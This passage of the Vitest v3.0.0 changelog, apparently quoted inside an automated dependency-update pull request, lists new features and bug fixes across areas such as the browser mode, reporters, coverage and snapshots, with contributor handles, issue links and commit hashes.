- Print project name as a label - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/6925 ](https://redirect.github.com/vitest-dev/vitest/issues/6925 ) [<samp>(a3bef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a3bef598 )
- Print a deprecation warning if suite or test uses object as the third argument - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7031 ](https://redirect.github.com/vitest-dev/vitest/issues/7031 ) [<samp>(407f1)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/407f10e4 )
- Expose versions from `vitest/node` entry point and statically on Vitest - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7029 ](https://redirect.github.com/vitest-dev/vitest/issues/7029 ) [<samp>(be8d4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/be8d479b )
- `diff.printBasicPrototype: false` by default - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7043 ](https://redirect.github.com/vitest-dev/vitest/issues/7043 ) [<samp>(2b5c5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/2b5c5201 )
- Prepare the Vitest API to be stable - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/6962 ](https://redirect.github.com/vitest-dev/vitest/issues/6962 ) [<samp>(9a1b5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9a1b5012 )
- Support Vite v6 in mocker package - by [@​cexbrayat](https://redirect.github.com/cexbrayat ) in [https://github.com/vitest-dev/vitest/issues/7058 ](https://redirect.github.com/vitest-dev/vitest/issues/7058 ) [<samp>(96f47)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/96f47d37 )
- Allow multi-browser configuration - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/6975 ](https://redirect.github.com/vitest-dev/vitest/issues/6975 ) [<samp>(78b62)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/78b62ffe )
- Add resolved project names to the reporter API - by [@​userquin](https://redirect.github.com/userquin ) in [https://github.com/vitest-dev/vitest/issues/7213 ](https://redirect.github.com/vitest-dev/vitest/issues/7213 ) [<samp>(91758)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/91758360 )
- Introduce the new reporter API - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7069 ](https://redirect.github.com/vitest-dev/vitest/issues/7069 ) [<samp>(76662)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/766624ab )
- Add `describe.for` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7253 ](https://redirect.github.com/vitest-dev/vitest/issues/7253 ) [<samp>(0ad28)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/0ad2860b )
- **api**:
- Add onBrowserInit event - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7255 ](https://redirect.github.com/vitest-dev/vitest/issues/7255 ) [<samp>(80ce0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/80ce0e1c )
- **browser**:
- Support `actionTimeout` as playwright provider options - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/6984 ](https://redirect.github.com/vitest-dev/vitest/issues/6984 ) [<samp>(e2c29)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e2c29eaf )
- Support clipboard api `userEvent.copy, cut, paste` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/6769 ](https://redirect.github.com/vitest-dev/vitest/issues/6769 ) [<samp>(843a6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/843a621e )
- Implement locator.nth() - by [@​xeger](https://redirect.github.com/xeger ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7137 ](https://redirect.github.com/vitest-dev/vitest/issues/7137 ) [<samp>(38458)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38458ea6 )
- **cli**:
- Support excluding projects with `--project=!pattern` - by [@​haines](https://redirect.github.com/haines ) in [https://github.com/vitest-dev/vitest/issues/6924 ](https://redirect.github.com/vitest-dev/vitest/issues/6924 ) [<samp>(ebfe9)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ebfe942c )
- Support specifying a line number when filtering tests - by [@​mzhubail](https://redirect.github.com/mzhubail ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/6411 ](https://redirect.github.com/vitest-dev/vitest/issues/6411 ) [<samp>(4d94b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/4d94b956 )
- Support location filters for suites - by [@​mzhubail](https://redirect.github.com/mzhubail ) in [https://github.com/vitest-dev/vitest/issues/7048 ](https://redirect.github.com/vitest-dev/vitest/issues/7048 ) [<samp>(751e2)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/751e2dce )
- **coverage**:
- `thresholds` to support maximum uncovered items - by [@​jonahkagan](https://redirect.github.com/jonahkagan ) in [https://github.com/vitest-dev/vitest/issues/7061 ](https://redirect.github.com/vitest-dev/vitest/issues/7061 ) [<samp>(bde98)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bde98b6d )
- **expect**:
- Add `toHaveBeenCalledExactlyOnceWith` expect matcher - by [@​jacoberdman2147](https://redirect.github.com/jacoberdman2147 ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/6894 ](https://redirect.github.com/vitest-dev/vitest/issues/6894 ) [<samp>(ff662)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ff66206a )
- Add `toHaveBeenCalledAfter` and `toHaveBeenCalledBefore` utility - by [@​Barbapapazes](https://redirect.github.com/Barbapapazes ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/6056 ](https://redirect.github.com/vitest-dev/vitest/issues/6056 ) [<samp>(85e6f)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/85e6f99f )
- Add `toSatisfy` asymmetric matcher - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7022 ](https://redirect.github.com/vitest-dev/vitest/issues/7022 ) [<samp>(f691a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/f691ad76 )
- Add `toBeOneOf` matcher - by [@​zirkelc](https://redirect.github.com/zirkelc ) and [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/6974 ](https://redirect.github.com/vitest-dev/vitest/issues/6974 ) [<samp>(3d742)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3d742b2b )
- **reporter**:
- Add support for function type to classname option in the junit reporter - by [@​jpleclerc](https://redirect.github.com/jpleclerc ), **Jean-Philippe Leclerc** and [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/6839 ](https://redirect.github.com/vitest-dev/vitest/issues/6839 ) [<samp>(dc238)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dc238e92 )
- **reporters**:
- `summary` option for `verbose` and `default` reporters - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/6893 ](https://redirect.github.com/vitest-dev/vitest/issues/6893 ) [<samp>(511b7)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/511b73c7 )
- **runner**:
- Test context can inject values from the config's `provide` - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/6813 ](https://redirect.github.com/vitest-dev/vitest/issues/6813 ) [<samp>(85c64)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/85c64e35 )
- Add "queued" state - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/6931 ](https://redirect.github.com/vitest-dev/vitest/issues/6931 ) [<samp>(5f8d2)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/5f8d2091 )
- **snapshot**:
- Provide `config` to `resolveSnapshotPath` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/6800 ](https://redirect.github.com/vitest-dev/vitest/issues/6800 ) [<samp>(746d8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/746d8986 )
- **ui**:
- Allow run individual tests/suites from the UI - by [@​userquin](https://redirect.github.com/userquin ) in [https://github.com/vitest-dev/vitest/issues/6641 ](https://redirect.github.com/vitest-dev/vitest/issues/6641 ) [<samp>(d9cc8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/d9cc81dd )
- Make clicking on a test in the UI open the report section and scroll to the test failure if applicable - by [@​jacoberdman2147](https://redirect.github.com/jacoberdman2147 ) in [https://github.com/vitest-dev/vitest/issues/6900 ](https://redirect.github.com/vitest-dev/vitest/issues/6900 ) [<samp>(1bf27)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1bf27f0d )
- Allow hide/show node_modules in module graph tab - by [@​userquin](https://redirect.github.com/userquin ) in [https://github.com/vitest-dev/vitest/issues/7217 ](https://redirect.github.com/vitest-dev/vitest/issues/7217 ) [<samp>(50cf6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/50cf61b8 )
- **vitest**:
- Include `coverageMap` in json report - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/6606 ](https://redirect.github.com/vitest-dev/vitest/issues/6606 ) [<samp>(9c8f7)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9c8f7e3e )
- Add `onTestsRerun` method to global setup context - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/6803 ](https://redirect.github.com/vitest-dev/vitest/issues/6803 ) [<samp>(e26e0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e26e066c )
##### 🐞 Bug Fixes
- Misc fix for vite 6 ecosystem ci - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/6867 ](https://redirect.github.com/vitest-dev/vitest/issues/6867 ) [<samp>(80f8b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/80f8bbf4 )
- Respect `cacheDir` when optimizer is enabled - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/6910 ](https://redirect.github.com/vitest-dev/vitest/issues/6910 ) [<samp>(0b08b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/0b08bc11 )
- Reset runningPromise after `finally` in case there is an error to avoid it getting stuck - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/6951 ](https://redirect.github.com/vitest-dev/vitest/issues/6951 ) [<samp>(02194)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/021944cd )
- Revert support for Vite 6 - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) [<samp>(fbe5c)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fbe5c39d )
- Support Node 21 - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) [<samp>(92f7a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92f7a2ad )
- Don't use `Custom` type internally - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7032 ](https://redirect.github.com/vitest-dev/vitest/issues/7032 ) [<samp>(7957f)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7957f912 )
- Persist cli filters as watch mode file filter - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/6955 ](https://redirect.github.com/vitest-dev/vitest/issues/6955 ) [<samp>(cc703)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/cc703362 )
- Don't use dim color for succeeded tests - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7059 ](https://redirect.github.com/vitest-dev/vitest/issues/7059 ) [<samp>(8a6f5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8a6f5f16 )
- Fix missing chai types - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7149 ](https://redirect.github.com/vitest-dev/vitest/issues/7149 ) [<samp>(6a09c)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/6a09cc3b )
- `cancelCurrentRun` awaits `runningPromise` - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7168 ](https://redirect.github.com/vitest-dev/vitest/issues/7168 ) [<samp>(1dbf5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1dbf5140 )
- Add Locator typings for nth, first and last. - by [@​xeger](https://redirect.github.com/xeger ) in [https://github.com/vitest-dev/vitest/issues/7176 ](https://redirect.github.com/vitest-dev/vitest/issues/7176 ) [<samp>(d262e)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/d262e059 )
- Batch console logs by microtask - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7183 ](https://redirect.github.com/vitest-dev/vitest/issues/7183 ) [<samp>(53d1d)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/53d1d5f5 )
- Allow `getMockImplementation` to return "once" implementation - by [@​chaptergy](https://redirect.github.com/chaptergy ) in [https://github.com/vitest-dev/vitest/issues/7033 ](https://redirect.github.com/vitest-dev/vitest/issues/7033 ) [<samp>(39125)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3912554b )
- `capturePrintError` logger duplicate event handlers - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7197 ](https://redirect.github.com/vitest-dev/vitest/issues/7197 ) [<samp>(e89c3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e89c3693 )
- Allow slots in vitest-browser-vue - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7120 ](https://redirect.github.com/vitest-dev/vitest/issues/7120 ) [<samp>(2319f)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/2319f849 )
- Reset root workspace project on restart - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7238 ](https://redirect.github.com/vitest-dev/vitest/issues/7238 ) [<samp>(6e518)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/6e51843a )
- Cleanup `vitest/reporters` entrypoint - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7241 ](https://redirect.github.com/vitest-dev/vitest/issues/7241 ) [<samp>(aec0b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/aec0b530 )
- Colors on `forks` pool - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7090 ](https://redirect.github.com/vitest-dev/vitest/issues/7090 ) [<samp>(8cab9)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8cab9601 )
- Export `VitestRunner` type from `vitest/runners` - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7240 ](https://redirect.github.com/vitest-dev/vitest/issues/7240 ) [<samp>(9b218)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9b218854 )
- Return test fn result to runner - by [@​wmertens](https://redirect.github.com/wmertens ) in [https://github.com/vitest-dev/vitest/issues/7239 ](https://redirect.github.com/vitest-dev/vitest/issues/7239 ) [<samp>(48645)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/48645bf4 )
- Re-apply default conditions if using vite 6 or later - by [@​thebanjomatic](https://redirect.github.com/thebanjomatic ), **thebanjomatic** and [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7071 ](https://redirect.github.com/vitest-dev/vitest/issues/7071 ) [<samp>(84287)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/84287fc2 )
- Prevent infinite loop on prettyDOM calls - by [@​tsirlucas](https://redirect.github.com/tsirlucas ) in [https://github.com/vitest-dev/vitest/issues/7250 ](https://redirect.github.com/vitest-dev/vitest/issues/7250 ) [<samp>(a3a46)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a3a46a53 )
- **api**:
- Don't report events during `vitest list` - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7257 ](https://redirect.github.com/vitest-dev/vitest/issues/7257 ) [<samp>(1c2b2)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1c2b210d )
- **benchmark**:
- Disable type testing while benchmarking - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7068 ](https://redirect.github.com/vitest-dev/vitest/issues/7068 ) [<samp>(4e603)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/4e60333d )
- Rewrite reporter without `log-update` - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7019 ](https://redirect.github.com/vitest-dev/vitest/issues/7019 ) [<samp>(6d23f)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/6d23f4b1 )
- **browser**:
- Improve source maps when `vi.mock` is present - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/6810 ](https://redirect.github.com/vitest-dev/vitest/issues/6810 ) [<samp>(8d179)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8d179afc )
- Explain TypeScript support in docs and add asymmetric matchers to types - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/6934 ](https://redirect.github.com/vitest-dev/vitest/issues/6934 ) [<samp>(ac1a7)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ac1a7fdc )
- Fix matchers.d.ts - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/6995 ](https://redirect.github.com/vitest-dev/vitest/issues/6995 ) [<samp>(a485b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a485b32b )
- Fix user event state on preview provider - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7041 ](https://redirect.github.com/vitest-dev/vitest/issues/7041 ) [<samp>(8e944)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8e94427e )
- Fix provider options types - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7115 ](https://redirect.github.com/vitest-dev/vitest/issues/7115 ) [<samp>(579bd)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/579bda97 )
- Only use locator.element on last expect.element attempt - by [@​tsirlucas](https://redirect.github.com/tsirlucas ) in [https://github.com/vitest-dev/vitest/issues/7139 ](https://redirect.github.com/vitest-dev/vitest/issues/7139 ) and [https://github.com/vitest-dev/vitest/issues/7152 ](https://redirect.github.com/vitest-dev/vitest/issues/7152 ) [<samp>(847d3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/847d3221 )
- Use correct project when filtering `entries` in the browser mode - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7167 ](https://redirect.github.com/vitest-dev/vitest/issues/7167 ) [<samp>(423d6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/423d6345 )
- Fix `console.time` with fake timers - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7207 ](https://redirect.github.com/vitest-dev/vitest/issues/7207 ) [<samp>(903f3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/903f3b9b )
- Add instance validation to resolve coverage error - by [@​DevJoaoLopes](https://redirect.github.com/DevJoaoLopes ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7231 ](https://redirect.github.com/vitest-dev/vitest/issues/7231 ) [<samp>(1e791)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1e7915b5 )
- **coverage**:
- Exclude browser mode iframe results - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/6905 ](https://redirect.github.com/vitest-dev/vitest/issues/6905 ) [<samp>(e04a1)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e04a1368 )
- Correct coverage when `isolate: false` is used - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/6957 ](https://redirect.github.com/vitest-dev/vitest/issues/6957 ) [<samp>(426ce)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/426ce6d8 )
- Prevent crash when v8 incorrectly merges static_initializer's - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7150 ](https://redirect.github.com/vitest-dev/vitest/issues/7150 ) [<samp>(cb6db)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/cb6db13e )
- **deps**:
- Update all non-major dependencies - in [https://github.com/vitest-dev/vitest/issues/7085 ](https://redirect.github.com/vitest-dev/vitest/issues/7085 ) [<samp>(8cc92)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8cc92c2f )
- Update all non-major dependencies - in [https://github.com/vitest-dev/vitest/issues/7116 ](https://redirect.github.com/vitest-dev/vitest/issues/7116 ) [<samp>(de5ce)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/de5ce3d9 )
- Update dependency pathe to v2 - in [https://github.com/vitest-dev/vitest/issues/7181 ](https://redirect.github.com/vitest-dev/vitest/issues/7181 ) [<samp>(74dbe)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/74dbe03f )
- **diff**:
- Truncate to avoid crash on diff large objects - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7133 ](https://redirect.github.com/vitest-dev/vitest/issues/7133 ) [<samp>(2a9d6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/2a9d67a2 )
- **junit**:
- Fix testsuites time to be sum of all testsuite items - by [@​saitonakamura](https://redirect.github.com/saitonakamura ) in [https://github.com/vitest-dev/vitest/issues/6985 ](https://redirect.github.com/vitest-dev/vitest/issues/6985 ) [<samp>(ca37a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ca37a06a )
- **pretty-format**:
- Support react 19 - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/6909 ](https://redirect.github.com/vitest-dev/vitest/issues/6909 ) [<samp>(bd29b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bd29bcc7 )
- **reporters**:
- Write buffered stdout/stderr on process exit - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/6932 ](https://redirect.github.com/vitest-dev/vitest/issues/6932 ) [<samp>(80cde)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/80cde2a0 )
- Rewrite `dot` reporter without `log-update` - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/6943 ](https://redirect.github.com/vitest-dev/vitest/issues/6943 ) [<samp>(be969)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/be969cfb )
- Check `--hideSkippedTests` in base reporter - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/6988 ](https://redirect.github.com/vitest-dev/vitest/issues/6988 ) [<samp>(721a5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/721a5b84 )
- Show `retry` and `repeats` counts - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) and [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7004 ](https://redirect.github.com/vitest-dev/vitest/issues/7004 ) [<samp>(3496a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3496a015 )
- **runner**:
- Long synchronous tasks does not time out - by [@​ferdodo](https://redirect.github.com/ferdodo ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/2920 ](https://redirect.github.com/vitest-dev/vitest/issues/2920 ) and [https://github.com/vitest-dev/vitest/issues/6944 ](https://redirect.github.com/vitest-dev/vitest/issues/6944 ) [<samp>(2fb58)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/2fb585ae )
- Mark tests of `describe.todo` as `'todo'` - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7171 ](https://redirect.github.com/vitest-dev/vitest/issues/7171 ) [<samp>(1d458)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1d458955 )
- **snapshot**:
- Fix "obsolete" message on snapshot update re-run - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7129 ](https://redirect.github.com/vitest-dev/vitest/issues/7129 ) [<samp>(c2beb)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c2beb8ca )
- Preserve white space of `toMatchFileSnapshot` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7156 ](https://redirect.github.com/vitest-dev/vitest/issues/7156 ) [<samp>(a437b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a437b656 )
- Fix obsoleteness check of `toMatchSnapshot("...")` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7126 ](https://redirect.github.com/vitest-dev/vitest/issues/7126 ) [<samp>(ac9ba)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ac9ba151 )
- **typecheck**:
- Fix typecheck collect on Vite 6 - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/6972 ](https://redirect.github.com/vitest-dev/vitest/issues/6972 ) [<samp>(7b35d)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7b35d13a )
- Use unique temp and tsbuildinfo file for each tsconfig file - by [@​masnormen](https://redirect.github.com/masnormen ) in [https://github.com/vitest-dev/vitest/issues/7107 ](https://redirect.github.com/vitest-dev/vitest/issues/7107 ) and [https://github.com/vitest-dev/vitest/issues/7112 ](https://redirect.github.com/vitest-dev/vitest/issues/7112 ) [<samp>(61b30)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/61b30162 )
- Fix error test case mapping for `@ts-expect-error` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7125 ](https://redirect.github.com/vitest-dev/vitest/issues/7125 ) [<samp>(27d34)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/27d340aa )
- **types**:
- Make parameters non-nullable for Playwright options - by [@​apple-yagi](https://redirect.github.com/apple-yagi ) in [https://github.com/vitest-dev/vitest/issues/6989 ](https://redirect.github.com/vitest-dev/vitest/issues/6989 ) [<samp>(fe2a1)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fe2a187f )
- **ui**:
- Wrong module graph when generating html.meta.json.gz in browser mode - by [@​userquin](https://redirect.github.com/userquin ) in [https://github.com/vitest-dev/vitest/issues/7214 ](https://redirect.github.com/vitest-dev/vitest/issues/7214 ) [<samp>(dccdd)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dccdd550 )
- Add errors and draft state (\*) to the code editor - by [@​userquin](https://redirect.github.com/userquin ) in [https://github.com/vitest-dev/vitest/issues/7044 ](https://redirect.github.com/vitest-dev/vitest/issues/7044 ) [<samp>(faca4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/faca4de8 )
- **vite-node**:
- Fix error stack on Windows - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/6786 ](https://redirect.github.com/vitest-dev/vitest/issues/6786 ) [<samp>(bf7b3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bf7b36ac )
- Properly normalize file url import - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7087 ](https://redirect.github.com/vitest-dev/vitest/issues/7087 ) [<samp>(31675)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/31675e3b )
- Fix mandatory node prefix - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7179 ](https://redirect.github.com/vitest-dev/vitest/issues/7179 ) [<samp>(b6284)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/b6284642 )
- **watch**:
- Don't indicate exit when no matching files - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7246 ](https://redirect.github.com/vitest-dev/vitest/issues/7246 ) [<samp>(003c0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/003c0bef )
- **workspace**:
- `extends: true` correctly inherits all root config properties - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7232 ](https://redirect.github.com/vitest-dev/vitest/issues/7232 ) [<samp>(798c0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/798c0da2 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.8...v3.0.0 )
</details>
---
### Configuration
